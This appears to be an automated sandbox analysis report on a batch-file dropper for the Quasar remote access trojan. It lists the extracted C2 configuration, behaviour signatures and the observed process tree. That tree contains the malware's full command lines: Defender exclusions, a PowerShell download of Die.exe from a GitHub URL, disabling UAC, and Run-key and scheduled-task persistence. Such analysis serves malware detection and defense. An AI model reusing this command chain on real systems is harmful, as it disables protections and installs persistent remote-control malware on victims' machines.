Resubmissions

15/08/2024, 03:40

240815-d775csxgll10

15/08/2024, 03:32

240815-d3lesssdrc10

15/08/2024, 03:29

240815-d1z56ssdlg10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2024, 03:32

General

  • Target
    -.bat.fud.bat
  • Size 8KB
  • Sample240815-d3lesssdrc
  • SHA256 48e6235e3a791da0aab3b73326c5bb7ce861fe251bb16074cdf8530b2d9974b9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • %PAYLOAD%

C2
  • 1.1.1.1:1

  • 1.1.1.1:2

  • 1.1.1.1:3

  • 1.1.1.1:5

  • 1.1.1.1:6

  • 1.1.1.1:7

  • 1.1.1.1:8

  • 1.1.1.1:9

  • 1.1.1.1:11

  • 1.1.1.1:13

  • 1.1.1.1:15

  • 1.1.1.1:16

  • 1.1.1.1:18

  • 1.1.1.1:19

  • 1.1.1.1:20

  • 1.1.1.1:21

  • 1.1.1.1:22

  • 1.1.1.1:24

  • 1.1.1.1:25

  • 1.1.1.1:26

Mutex
  • 52c99c60-3e66-4500-be6c-895593eba497

Attributes
  • encryption_key

    070CDBCBB8132B62B93E1CB06630D9221F0FFA4A

  • install_name

    UnderControl.exe

  • log_directory

    Logs

  • reconnect_delay

    2000

  • startup_key

    uno

  • subdirectory

    Microsoft

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 5 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\-.bat.fud.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3636
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:3988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PP2'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\Microsoft'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:372
      • C:\Windows\system32\attrib.exe
        attrib +h "PP2" /s/d
        2⤵
        • Views/modifies file attributes
        PID:4576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-Webrequest 'https://github.com/AdeebToPro/-/raw/main/Die.exe' -OutFile Die.exe"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3476
      • C:\Windows\system32\reg.exe
        reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        • Modifies registry key
        PID:3488
      • C:\Users\Admin\AppData\Local\PP2\Die.exe
        Die.exe
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3960
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:872
        • C:\Windows\system32\Microsoft\UnderControl.exe
          "C:\Windows\system32\Microsoft\UnderControl.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4336
      • C:\Windows\system32\attrib.exe
        attrib +h "C:\Users\Admin\AppData\Local\PP2\Die.exe" /s /d
        2⤵
        • Views/modifies file attributes
        PID:4064
      • C:\Windows\system32\reg.exe
        reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
        2⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:2364
      • C:\Windows\system32\reg.exe
        reg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Windows\System32\Microsoft\UnderControl.exe" /f
        2⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:1584
      • C:\Windows\system32\reg.exe
        reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
        2⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:1164

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 f358f33a42122e97c489fad7bbc8beab2eb42d42e4ec7fce0dd61fe6d8c0b8de
          • MD5 SHA1 SHA512

          Die.exe

          • Path C:\Users\Admin\AppData\Local\PP2\Die.exe
          • Size 3.2MB
          • SHA256 a482c8b16a8df267b7720a8a9f26267852c49e8d8ba9820a97d080cf1662d5a0
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_dwo2vbjy.1g1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dwo2vbjy.1g1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/372-27-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/372-17-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/372-29-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/372-31-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/1248-15-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/1248-0-0x00007FFE509A3000-0x00007FFE509A5000-memory.dmp

          memory/1248-12-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/1248-11-0x00007FFE509A0000-0x00007FFE51461000-memory.dmp

          memory/1248-1-0x000001BDD7040000-0x000001BDD7062000-memory.dmp

          memory/3960-47-0x0000000000920000-0x0000000000C5C000-memory.dmp

          memory/4980-54-0x0000000002BB0000-0x0000000002C00000-memory.dmp

          memory/4980-55-0x000000001D710000-0x000000001D7C2000-memory.dmp